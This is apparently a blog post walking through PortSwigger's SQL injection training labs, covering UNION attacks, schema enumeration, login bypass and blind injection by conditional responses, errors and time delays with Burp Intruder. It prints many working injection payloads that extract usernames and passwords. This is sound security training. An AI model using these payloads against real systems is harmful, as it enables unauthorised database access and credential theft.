So, I got told about this recently. This is a lab created by PortSwigger, the creators of Burp Suite and it goes through a set of challenges, which not only give you a safe lab to test web app skills in, it is also a walk-through with handy hints and explanations. I’m hoping it will really step up my knowledge for basic web app testing.

The website for this is:

SQL Injection

We all know the basic idea of SQL injection. Inject some code into a website to get data from the underlying database which we shouldn’t really be able to get.

So lets take a look at the first challenge

Abusing the WHERE clause

The aim here is to show all unreleased products.

We first refine the search so we see the URL which ends in:


The fact there is the page? would indicate this is ripe for SQL injection. Lets load up Burp and put the request through to there.

Burp shows a GET request for: GET /page?category=Accessories HTTP/1.1

If we change the category to “all” we get a JSON error.

The guide that we read, looks at adding items to the end of the URL, so if we did something like category=Accessories’– it would form the SQL query:

SELECT * FROM products WHERE category = 'Accessories'--' AND released = 1

So we need to change this, so it will be released will = 0 or 1.

To do this, we need to add in the OR statement: ‘+OR+1=1–

(The — is a comment indicator in SQL so removes the remainder of the query)

The thing here, is OR 1=1 will always equal 1 and 1=1 is always true, so it will return all items.

So in our lab we do:


We see a bunch of extra items on the list and challenge is solved!

Subverting Application Logic

If a login process does a SQL look up from the users table for the username you entered AND the password you entered, it returns the results and login is successful otherwise it’s rejected. Makes sense.

So the idea is, we can stop the query looking up the password? Making us log in via username only.

This time it’s a POST request with:


So if we add ‘– after Administrator it comments out the rest of the query. This then lets us log in!

Retrieving Data from other database tables

Using UNION we can look at other tables in the database, for example where there is a list of products, we could use:

' UNION SELECT username, password FROM users--

This would print out all the products and all username and passwords from the users table.

To run a union attack you need to identify 2 criteria:

  • the individual queries must return the same number of columns; and
  • the data types in each column must be compatible between the individual queries.

So to determine the number of columns, there are a few methods.

The first is to add in ORDER BY and increase the number until an error occurs.

' ORDER BY 1--

' ORDER BY 2--


The second method involves submitting a series of UNION SELECT payloads using a different amount of null values:


So in our lab environment. Let’s see what we can do. Let’s use the category of Pets. The URL is:



 ' ORDER BY 1--

Works, we keep increasing until 4 where we get an “internal server error” So we know that the search results with 3 columns. So any Union we do, must have 3 columns.

We can see the different too, Order by 1:

Then order by 2 shows the data in a different order:

So 2 looks to do it in alphabetical order by the product number.

Order by 3 then does it by price with the cheapest first.

If we try the other method, we get errors until we hit the right number:

page?category=Pets' UNION SELECT NULL,NULL,NULL--

If we had more of less “nulls” we just get a 500 internal server error.

Identifying columns with a useful data type for UNION attack

So there is no point doing a UNION attack unless there is useful data types in it, so we really need string data.

So first in the new lab, we again need to find out how many columns we are using. It is again 3. So now we can look at our code, we need to add in:


So trying all 3 iterations, we get errors on 2 of them. However having NULL,’a’,NULL– gives us a result. Which can be seen as this:

The a at the bottom is what we added. This shows that column 2 (Item description) can take string data. The lab requires us to use 5y03Jl so we change our ‘a’ to that, with a query of:

/page?category=Gifts' UNION SELECT NULL,'5y03Jl',null--

Retrieving Interesting Data

So, now that we know there are 3 columns and the 2nd has strings. We can look at getting some interesting data out.

Back into the lab, there is a table called users with columns username and password. We need to try and get the information for the administrator user.

First lets re-do our 2 tests above to make sure things are the same:

Columns returned = 2

Columns that have strings = Column 1 & 2

So we now can now try a Union for the extra tables data:

/page?category=Pets ' UNION SELECT username, password FROM users--

This then returns with 3 usernames and passwords:

I guess this means we can now properly log in as administrator.

First lets try that bypass we used earlier, does that still work? This time it doesn’t work. So lets log in using the password (58aua4)!

Log in successful!

Retrieving values in a single column

So sometimes a query will only bring back a single column. Then what? I guess you could do 2 sql queries. 1 for username and 1 for password. But that’s not ideal, what if they aren’t ordered the same?

Better to bring them both back together. so we need to concatenate the data, using a symbol to separate the data out.

Into the lab, lets first check there is only 1 column being bought back.


So there are 2 columns but we can’t visibly see the second, so that’s of no use to us!

We want to bring 2 items back in the first column. Looking at the cheatsheet there are different strings to use to concatenate:

So let’s try these out. Might as well start at the top:

/page?category=Pets ' UNION SELECT username || password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username + password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username || password FROM users--

Internal Server Error

/page?category=Pets ' UNION SELECT username password FROM users--

Internal Server Error

Shit! Double checking it says the database is users and the columns are username and password. What we didn’t do, was check which of the 2 columns could take string data. We know there are 2 columns. Let’s retry that!

Ok, so the 2nd column is the one that can take the data! That would explain it!

Let’s try again with the tweak:

/page?category=Pets ' UNION SELECT NULL,username || password from users--

This gives us the data, but it’s not got any sort of seperation in it. Lets add in a special character

/page?category=Pets ' UNION SELECT NULL,username || '~' || password from users--

(Not it has to be ‘ symbol. Attempting with nothing or with ” will cause server errors. Making you think it’s fucked, but just a really easy mistake to make!)

The results are in!

Logging in works a charm! Another lab understood!

Learning about the database – Version & Type

Using our new found UNION approach, we can find out the version, which can be super useful to see the patch level and then therefore any known vulnerability!

The labs have different types of database, starting off with Oracle.

As per usual, we find out how many columns are coming back and which contains strings.


We have 2 columns, however our ‘a’,NULL test comes back with internal server errors for both ways round. Let’s carry on and just try out payload in both positions, one might work.

So to start with, we look at column 1.

Using the cheatsheet we get shown that for Oracle the injection is: SELECT banner FROM v$version, resulting in:

\page?category=Accessories' UNION SELECT banner, NULL FROM v$version--

So we know column 1 could take strings, not sure why this didn’t work previously, maybe because it was an oracle database?

The output was a bit messy with the key version info all over the place, so adding a ORDER BY 2 helped sort it out, showing the database results:

Let’s now try for mysql & Microsoft!

Again, always start with how many columns are being returned. Ok this time, order by 1– comes back with an internal server error. Interesting!

As is the UNION SELECT NULL, NULL– test. (well at least up to 5). Looking at the cheat sheet, mysql uses either # or — as the comment command. Let’s try a # instead!

We get a reply from the page with zzzzz bed as the top item:

/page?category=Accessories# ORDER BY 1–

Trying order by 2. Hmm, nothing has changed! Order by 99, same result. Something’s not right here!

Information Schema – Non-Oracle

Most databases have a information schema which can be abused to show information about the database. This can include all tables etc

Into the lab, we need to find a table that might have usernames and passwords in. Then get administrators password.

As always, lets start by seeing how many columns are bought back. This time it is 2.

It’s both column which contain strings. So let’s see if we can select from the information schema.

/page?category=Accessories' UNION SELECT * FROM NULL,information_schema.tables--

This was my first guess and was no good. Taking out the UNION also didn’t work. This could be because of the wildcard flag. What if we just try tables.

We have put our NULL in the wrong place also. Remember we need to bring back 2 items if there are 2 columns. So what then works is:

/page?category=Accessories' UNION SELECT table_name,NULL FROM information_schema.tables--

There are a heap of tables, first we can try pg_user, we need to find out that column names first. So lets think of the logic first.

We want to SELECT column_names & NULL for our 2 criteria. FROM the information_schema.columns WHERE table_name = pg_user

so that works out to be:

/page?category=Accessories' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'pg_user'--

Ok, we got some columns:

So, shall we try reading usename & passwd from this:

/page?category=Accessories' UNION SELECT usename, passwd FROM pg_user--

This brings back “postgres” and a bunch of stars. Ok wrong table I think, also leads us to assume that anything with pg_ prefix is regarding postgres.  Let’s try another!

Looking through the list, users_nplzvf looks pretty hot. Let’s try that one, ok we have 2 columns come back, username_akhhon &  password_owtxsw. Random enough to have not got them by just guessing. Giving it a go!

Oooh, we get some usernames and password back using:

/page?category=Accessories’ UNION SELECT username_akhhon,password_owtxsw FROM users_nplzvf–

Lets try this admin password:

Boom! Logged in successfully!

Information Schema – Oracle

As oracle like to be difficult. They instead of “all_tables” & “all_tab_columns” which can be queried.
Let’s do the same thing but for an Oracle database.

Starting at the beginning, we have 2 columns that come back. Again I’m not sure which can accept strings as the ” ‘ UNION SELECT NULL,’a’–” test doesn’t appear to work. Let’s guess both.

We use the table_name column from all_tables to get the results, I also checked that both columns take strings, by switching round the NULL value:

/page?category=Lifestyle' UNION SELECT NULL,table_name FROM all_tables--

Again, we have quite a list, so doing a search for users gives us some options. The best looks to be USERS_XGCQLC (it follows the pattern, which we obviously wouldn’t have in the real world tests)

Running our column query to SELECT column_name FROM “all_tab_columns” WHERE table_name = USERS_XGCQLC. Again we have a bit of an issue with single quotes, but our final URL is:

/page?category=Lifestyle' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_XGCQLC' ORDER BY 2--

This brings back USERNAME_YKFNHX & PASSWORD_HQEGGI. Let’s go get them!

We again do the now getting more straightforward requests for the columns:


We get 3 results:


Using the administrator password. We manage to log into the lab! Success!

Blind SQL Injection

Blind SQL injection is more complicated as the application does not return the results of the SQL query or any details of the database errors. This makes it much harder to find if SQL injection is possible or in fact the right route to be going down.

Depending on the vulnerability and database there are a few techniques which can be used to exploit blind SQL injections:

  • Changing the logic of the query to trigger a detectable difference in the response. This could involve injecting a new condition into some Boolean logic, or triggering an error
  • Triggering a time delay in the processing of a query. So depending how quickly the result comes back can give hints.
  • Performing a out-of-band network interaction using OAST (out-of-band application security testing) techniques

Triggering Conditional Responses

So, if we have an application that uses tracking cookies to gather analytics, requests to the application would include a cookie header. When this request is being made it will check if its a known user with something like:

SELECT TrackingID FROM TrackedUsers WHERE TrackingID = 'cookie'

This is the part that is vulnerable to an SQL injection even though the result is not returned to the user. However something else happens if the query is true, a “welcome back” page might appear. This would be our “in” to try out some blind SQL injection to grab some data.

So the logic behind this is, you have 2 requests. The first will return true, the second false:



The first will give a “win condition” of welcome back. The second won’t. This lets us determine the answer to any single injected command. If it’s true, we would get “welcome back” if it’s false we get nothing. So we can get data out one slow request at a time.

There is a good example in the guide for the lab, so rather than me copying it out. Let’s jump into the lab and see what we find!

The aim of this lab, is to log in as the administrator. First we need their password!

So first we take a look at the page. Right, there is a welcome back! message. I was hoping their wouldn’t be, until we did a successful query!

So, first thing. Let’s intercept this in Burp and see what we get.

We have a TrackingID!

So the injection is within that TrackingID. So lets alter that cookie. What we are doing here, is removing the cookie (as that would default to “welcome back!”) and adding in an abituary value (that would result in false) in our case an “x”. Then we are doing our SQL injection with an OR statement to include something that would be true and then false. This shows us the results of the SQL query only (if you leave the cookie in, you will always get a result of true)

So for our first request, you notice the TrackingID is changed and the result shows “Welcome Back!”:

And if we change that to be 1=2, which is false. We see that the Welcome Back message disappears!

Hopefully i’ve explained this, as it took me a fair while to get round my head where the test was and what it shows.

So, we now know that SQL injection is possible, great! Lets find that admin password! We have some hints, there is a table called users with columns called username and password.

Therefore, we are going to need to do something like the guide suggests:

UNION SELECT 'a' FROM users WHERE username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

So this attempt is doing a Union which we have covered. From the table users, where the username is administrator. All straightforward so far. The substring is interesting here. What this does is selects a character from the field. So we are select the field of password, the start position of 1 and the length of 1. We are then seeing if this is greater than the letter ‘m’.

Depending on the result, will show us which half of the alphabet the first letter of the password is in.

For a test, I changed the final letter to an ‘a’. Then to less than a ‘z’ to check we were getting a result. For both tests, we didn’t get a Welcome Back! message, so our query isn’t right. If I hadn’t done those extra steps, I could have lost ages trying to hone it down to a specific letter!

So, lets go back a step and check that the Administrator user exists:

That user does not exist!

Remember that usernames are case sensitive…..

So now we have the user. Let’s re-try adding in the second half of the injection.

TrackingId=x' UNION SELECT 'a' FROM Users WHERE Username = 'administrator' and SUBSTRING(Password, 1, 1) > 'm'--

It works, a quick check of less than shows no result. So we know that the first letter is bigger than m.

The next logical place is around the t mark. It is not greater than t. After a couple more goes at narrowing it down, it is bigger than a Q but not bigger than R. So we have our first letter:


The same theory applies for the rest of the password. In the injection we just change:

SUBSTRING(Password, 1, 1)


SUBSTRING(Password, 2, 1)

This changes our starting position.

The problem we are facing, is, how long is this password? Is it 8 characters, 10 characters? We currently have no idea. Let’s see if we can find out! In SQL like the SUBSTRING there is a length option. Lets use that in a similar manner:

TrackingId=x' UNION SELECT 'a' FROM Users WHERE Username = 'administrator' and length(Password) > 1--


We keep increasing the number (checking that 99 gives us a reply of false) and finally at 6 we don’t get a reply. So we know we have a 6 letter password.

So let’s go back to our substring and keep going.

After a fair while, we get the password:


Let’s try and log in!

Shit! So something went wrong. Rather than going through this manually again, there must be a better route.

Burp has intruder as a tool. Let’s try that.

Intruder is a tool that can do brute-force to try and find the answer. From repeater, we sent the request over to intruder.

Under the positions tab, we want to clear the symbols, and add them back on to only the letter in our SQL injection:

Then under Payloads, we need to add in a wordlist. This will be added as a Simple List. So create a wordlist with the alphabet in and add it into burp.

We then need to tell Burp what it is looking for. So I guess we want it to continue while “Welcome Back!” is text on the page. So under the Options tab and go down to “Grep – Match”. Clear the existing list and add in Welcome Back!

So this will stop when there is the Welcome Back! message on the page. As we are going through the alphabet sequentially, this should tell us the first letter.

Click Start Attack. The results show that the first letter than didn’t include the text “Welcome Back!” was r (position 18).

So, we now go back to the Positions tab and change the SQL injection to be SUBSTRING(Password, 2, 1) and re-run the attack. In the second run, no letters have “Welcome Back!”, so the letter is not greater than a. Therefore I assume it must be a. The third request all contain the text apart from z.

After running through all the letters, we get the password:


This is the same as before. Let’s try the login box again. Still no good, checking typos and other generally sillyness.

So the password is not raazoo. We did have a couple of assumptions, especially with the a and z letters. Could they be numbers?

Let’s try that manually first:

Well that is very sneaky!

So let’s go back to Intruder, in our wordlist lets add numbers 0-9. And run the attack again for positions 2, 3 & 4.

Our first result for position 2 gives us better results.

This time, we get a password of:


Lets give it a go:

Success! That took a really long time, but using a tool to make life easier for you is an important lesson. As well as thinking outside the box. If the numbers didn’t work, we would have added all the symbols into our word list and tried again.

Conditional Responses by triggering SQL errors

If we had an example like above, but without the query returning any data we wouldn’t be used to use the previous method. This is where triggering SQL errors comes in. The idea behind this is to cause a database error if the condition is true, but not if it’s false. So if we get an error back from the database, we know our SQL injection query = true. To work this out, we can use queries such as:





With the false option, if 1 doesn’t equal 2 (a false statement) the query will go to Null and end, not reporting any sort of errors. However if the query is true (1=1) then it will try do the calculation 1/0 resulting in a divide-by-zero error. That error will then be shown so we know our query was true.

So using the same method as we did above (of getting each character 1 at a time), we just need to expand out our query to:

' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--

Let’s jump into the lab and take a look at this is action! Our aim is to get the password for the administrator user and log in.

So first, we turn on intercept in burp and try to log in.

First up we can do SQL injection queries to check a calculation 1=1, 1=2 is what we have used earlier. Let’s reuse that to try and work out what our success and failure criteria look like.

Using the queries above, let’s see what difference we have. There is a TrackingID cookie that I think we will be able to re-use for this lab.

So, let’s get a request and rebuild this up slowly. Firstly, we try the very basic

TrackingID = '

Oooh, we got an error:

HTTP/1.1 500 Internal Server Error 
Date: Tue, 07 May 2019 19:01:54 GMT 
Content-Type: application/json 
Content-Length: 23 
Connection: close 

"Internal Server Error"

So if we add another ‘ to close the statement, this brings the webpage back. So we know we can do SQL injection here. So, we now want to do a check with a true statement to do an impossible sum. Both 1=1 and 1=2 come back with SQL error, but both can’t be true, so something odd is going on here. What we have missed, is trying to do that calculation on a table, or using anything of the SQL database in the background. This means we need to allocate a table at the end, so:

 FROM users--

However we also need to add in somewhere to do our calculation, so we want to pretend to change a character so we add in:


I didn't figure this out myself and don't fully understand it. Feel free to leave an explanation in the comments!

Therefore our full SQL query is:


From here, we can build up the rest of the query. So we want to work out the length of the password again. So our calculation is no longer 1=1 or 1=2. We want to find out 2 different things:

Username = Administrator

Length of Password > 1

So to build this into the calculation, we just put that in, replacing our existing calculation.

(Username = 'administrator' and length(PASSWORD) >1)

This results in a full query of:

' UNION SELECT CASE WHEN (Username='administrator' and length(PASSWORD) >1) THEN to_char(1/0) ELSE NULL END FROM users--

The result we get from that is:

Error, so that must be true! Let’s try 100 just to see what happens and to check our injection (assuming our password length isn’t over 100)

So that brings back the page, so it’s false. Using this method, we find out that the password is 6 characters.

Now we need to re-test each letter in the same way as before. Let’s create the request and test it before we send it over to intruder.

So this time, rather than password length, we need to get the substring query we used previously, so our injection will look like:

' UNION SELECT CASE WHEN (Username='administrator' and SUBSTR(Password, 1, 1 > 'a') THEN to_char(1/0) ELSE NULL END FROM users--

We get an Internal Server Error from this. Trying with > ‘y’ the full page loads. So we know that our injection works.

Sending this over to intruder, under the Positions tab, we want to tag only the letter (a) under the TrackingId code. Under the payloads we can re-use the letters and numbers wordlist we created previously. Under options, we want to grep match “Blind SQL Injection with conditional errors”. This is the title of the page, as we know when it loads, the result is false.

Let’s start the attack.

Our first result is in:

So the first letter is w.

We do the process for the other 5 characters of the password by changing the position parmater in substr(password, 1, 1) to password, 2, 1 etc and get:


Let’s try entering these creds!

Success! We nailed this lab!

I have no doubt there is a better way to script it, rather than changing the password parameter each time, however at this level I’m just happy to get a win!

Exploiting Blind SQL by triggering time delays

When I first read about SQL injection a couple of years ago. I didn’t know anything about it and this is what I stumbled across and figured you had to do for each test. What this does, rather then bringing back the data in columns, or bringing back a different result or even creating an error it adds a time delay. So if the statement you push down is true there is a delay of say 10 seconds. So based on the loading times you know if you got the answer right.

What you’ll realise almost immediately, is that our Burp Intruders sessions have always been flagged on words returned in the response area. How we check for time delays, I do not know but I’m excited to find out!

Due to how the queries are processed, the delay will not only be on the SQL data but also on the HTTP response. The injection depends massively on the database being used.

For Microsoft SQL Server you can use a true statement to trigger the delay:

'; IF (1=1) WAITFOR DELAY '0:0:10'--

As 1=1 this triggers the waitfor delay, which we have set to 10 seconds here.

We can then use the same techniques we did earlier with getting the password, just slower, with more delays!

With all that, lets bounce into the lab.

Firstly, as always, we intercept the request and send it over to Repeaters (Ctrl+R & Ctrl+Shift+R)

We again have a tracking ID, so let’s try this in here.

Our Tracking ID is:

' ; IF (1=1) WAITFOR DELAY '0:0:10'--

Unfortunately, this and 1=2 have the same outcome, the webpage loads quickly.

Looking at the SQL Cheat Sheet, there are a few different things we can try, maybe it’s a PostgreSQL database, were we need SELECT pg_sleep(10)

That would make our code:

' ; IF (1=1) SELECT pg_sleep(10)--

Again, both results load quickly. Let’s see if its MySQL

' ; IF (1=1) SELECT sleep(10)--

Same result.

Looking at the cheat sheet closer, maybe we don’t need the query in it, we might just be able to concat nothing to our sleep command. So effectively saying, after nothing sleep for 10 seconds.

Let’s try these again with that in mind (the + is in the concat code for Microsoft SQL:

' + WAITFOR DELAY '0:0:10'--

No dice.

Maybe MySQL:

' || sleep(10)--

Another quick load. Maybe it’s postgreSQL:

' || pg_sleep(10)--

That’s the one! We get a 10 second delay, which worked as expected as the HTTP response waited 10 seconds before it was displayed on our screen.

The next lab requires us to find the password to the user administrator from the users table.

First, lets do the same as above and work out what type of database it is. I thought it made sense to try that same again and I struck lucky!

' || pg_sleep(10)--

This added a 10 second delay, beautiful! We now know that this is a PostgreSQL database.

Next up, we need to work out how to add some criteria in here to see if we can exfil some information!

Looking back at the cheat sheet, PostgreSQL shows:


So, can we try this with out 1=1 criteria.

' SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

This appeared to work first time. I attempted again a second time but that time it loaded almost immediately.

After looking into this, and looking at the guide, we have missed the “;” symbol which denotes the start of the if statement. This also can’t be put in plain text and needs to be URL encoded which results in %3B so our query is:

' %3B SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

We were so close! Now that we have this working, we can just change our query to work out the variables. So we need to find out if administrator exists in the users table.

' %3B SELECT CASE WHEN (Username = 'administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

This waits for 10 seconds, we test with a rubbish account, which comes back straight away. So we know that administrator exists as a user.

Now, we need to find the length of the password:

' %3B SELECT CASE WHEN (Username = 'administrator' AND length (Password) >1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

It is longer than 1 character, and shorter than 99.
After a quick check, the password is 6 characters!

So now, we need to get the password out again. As before, let’s try using the SUBSTRING.

' %3B SELECT CASE WHEN (Username = 'administrator' AND SUBSTRING(Password, 1, 1) > 'a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

We get a delay. It’s important to remember that the syntax changes depending on what SQL type is in the background, so don’t give up after just 1 go!

Now, let’s send this to intruder and see if we can do anything with time. We are going to set the intruder up the same as always, so the symbols around the letter a and the payload being the letters & numbers file we have.

Clicking start attack, we notice that this takes so much longer than the previous ones, as it is waiting that 10 seconds between each response from the server. However we don’t have anything to indicate time, so this is no good.

There are more options under the Columns button:

I’ve turned on Response Completed, which shows the time the request took to complete. From this, we can see if the query has to wait those 10 seconds or not.

We see the time jump from 10082 to 102. So our first letter is v.

We do the same for the other 5 letters (for the sake of speed we reduce the time to 3 seconds) and get a password of:


I also realised afterwards, if I changed my query to = rather than > only the correct response would have the delay, making this much much much quicker! (it also allows the letter ‘a’ and number ‘0’ to be properly represented)

Right, there we have the password, lets check it in the lab!

Absolute success! 🙂

Blind SQL injection using out-of-band (OAST) technique

This is where things get really complicated. So this is the case when the SQL query is carried out asynchronously. So the users requests and the SQL query are done under separate threads, so the query is done via the tracking cookie. This means that the application response doesn’t depend on the query. Therefore no errors/time-delays/results will be usable.

Instead, we have to trigger out of band network interactions to a system that we control. This can still be done conditionally and will allow data exfiltration within the network interaction, rather than the response from the server. The most effective network protocol is DNS, this is usually because it isn’t locked down on production networks for obvious reasons.

Portswigger sell Burp Collaborator which is used for this. This server allows custom implementations of network services allowing the detection of results within the network interactions.

For the lab, we can use which is the server running Collaborator owned and posted by PortSwigger. So first up, we need to configure our local Burp to work with this collaborator server.

To do this, we go into Burp and the Burp menu. There then should be burp Collaborator client:

Ah, we need the pro version which is the paid for version. Luckily, I do have a copy of this for work, so I’ll come back to this…..